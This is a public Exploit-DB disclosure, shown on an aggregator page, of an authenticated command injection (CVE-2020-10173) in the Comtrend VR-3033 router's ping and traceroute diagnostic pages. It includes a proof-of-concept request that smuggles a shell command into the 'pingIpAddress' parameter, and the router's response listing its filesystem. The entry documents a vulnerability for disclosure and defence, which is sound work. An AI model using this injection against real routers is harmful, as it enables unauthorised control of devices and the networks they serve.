Comtrend VR-3033 - Command Injection

🗓️ 27 Feb 2020 00:00:00Reported by Raki Ben HamoudaType

exploitdb🔗 www.exploit-db.com👁 148 Views

Comtrend VR-3033 - Authenticated Command Injection via Ping and Tracerout

Reporter	Title	Published	Views	Family All 14
ATTACKERKB	CVE-2020-10173	5 Mar 202000:00	–	attackerkb
ATTACKERKB	CVE-2020-10713 - BootHole	30 Jul 202000:00	–	attackerkb
Circl	CVE-2020-10173	9 Oct 202013:24	–	circl
CNVD	Comtrend VR-3033 Command Injection Vulnerability	6 Mar 202000:00	–	cnvd
Check Point Advisories	Comtrend Command Injection (CVE-2020-10173)	8 Jun 202000:00	–	checkpoint_advisories
CVE	CVE-2020-10173	5 Mar 202014:36	–	cve
Cvelist	CVE-2020-10173	5 Mar 202014:36	–	cvelist
exploitpack	Comtrend VR-3033 - Command Injection	27 Feb 202000:00	–	exploitpack
NVD	CVE-2020-10173	5 Mar 202015:15	–	nvd
Prion	Command injection	5 Mar 202015:15	–	prion

# Title: Comtrend VR-3033 - Authenticated Command Injection
# Date: 2020-02-26
# Author: Author : Raki Ben Hamouda
# Vendor: https://us.comtrend.com
# Product link: https://us.comtrend.com/products/vr-3030/
# CVE: CVE-2020-10173

The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection
vulnerability via ping and traceroute diagnostic page.
Remote attackers are able to get full control and compromise the network
managed by the router.

Note : This bug may exist in other Comtrend routers .
===============================================
Product Page :
https://us.comtrend.com/products/vr-3030/

Firmware version :
DE11-416SSG-C01_R02.A2pvI042j1.d26m

Bootloader (CFE) Version :
 1.0.38-116.228-1

To reproduce the vulnerability attacker has to access the interface at
least with minimum privilege.

1- Open interface
2- click on 'Diagnostic' tab on top.
3- click then on 'Ping' or traceroute
4- on the text input, type 'google.fr;ls - l'
5 - a list of folder names should appear.
#############################
POC session Logs :

GET /ping.cgi?pingIpAddress=google.fr;ls&sessionKey=1039230114 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0)
Gecko/20100101 Firefox/73.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dXNlcjp1c2Vy
Connection: close
Referer: http://192.168.0.1/pingview.cmd
Upgrade-Insecure-Requests: 1



=====================++RESPONSE++=====================

HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Fri, 02 Jan 1970 00:00:26 GMT
Content-Type: text/html
Connection: close

<html><head>
<meta HTTP-EQUIV="Pragma" CONTENT='no-cache'>
<link rel="stylesheet" href='stylemain.css' type='text/css'>
<link rel="stylesheet" href='colors.css' type='text/css'>
<script language="javascript" src="util.js">
</script>
<script language="javascript">
<!-- hide

function btnPing() {
var loc = 'ping.cgi?';

with ( document.forms[0] ) {
if (pingIpAddress.value.length == 0 ) {
return;

}

loc += 'pingIpAddress=' + pingIpAddress.value;
   loc += '&sessionKey=1592764063';
}

var code = 'location="' + loc + '"';
   eval(code);
}

// done hiding -->

</script>
</head>
<body>
<blockquote>
<form>
<b>Ping&nbsp;</b><br>
<br> Send ICMP ECHO_REQUEST packets to network hosts.<br>
<br><table border="0" cellpadding="0" cellspacing="0"><tr>
<td width="170">Ping IP Address / Hostname:</td>
<td width="170"><input type='text' name='pingIpAddress'
onkeydown="if(event.keyCode == 13){event.returnValue = false;}"></td>
<td width=""><input type='button' onClick='btnPing()' value='Ping'></td>
</tr></table><br>
   <tr>
      <td>bin
</td><br>
   </tr>
   <tr>
      <td>bootfs
</td><br>
   </tr>
   <tr>
      <td>data
</td><br>
   </tr>
   <tr>
      <td>debug
</td><br>
   </tr>
   <tr>
      <td>dev
</td><br>
   </tr>
   <tr>
      <td>etc
</td><br>
   </tr>
   <tr>
      <td>lib
</td><br>
   </tr>
   <tr>
      <td>linuxrc
</td><br>
   </tr>
   <tr>
      <td>mnt
</td><br>
   </tr>
   <tr>
      <td>opt
</td><br>
   </tr>
   <tr>
      <td>proc
</td><br>
   </tr>
   <tr>
      <td>sbin
</td><br>
   </tr>
   <tr>
      <td>sys
</td><br>
   </tr>
   <tr>
      <td>tmp
</td><br>
   </tr>
   <tr>
      <td>usr
</td><br>
   </tr>
   <tr>
      <td>var
</td><br>
   </tr>
   <tr>
      <td>webs
</td><br>
   </tr>
</form>
</blockquote>
</body>
</html>

##Same bug with the same way we exploited in ping function can be exploited
the same way in traceroute function.
===========
##Timeline :
*Bug sent to vendor : 17-02-2020
*No Response after 10 days
* Public disclosure: 27-02-020

27 Feb 2020 00:00Current

8.8High risk

Vulners AI Score8.8

CVSS 3.18.8

CVSS 29

EPSS0.56116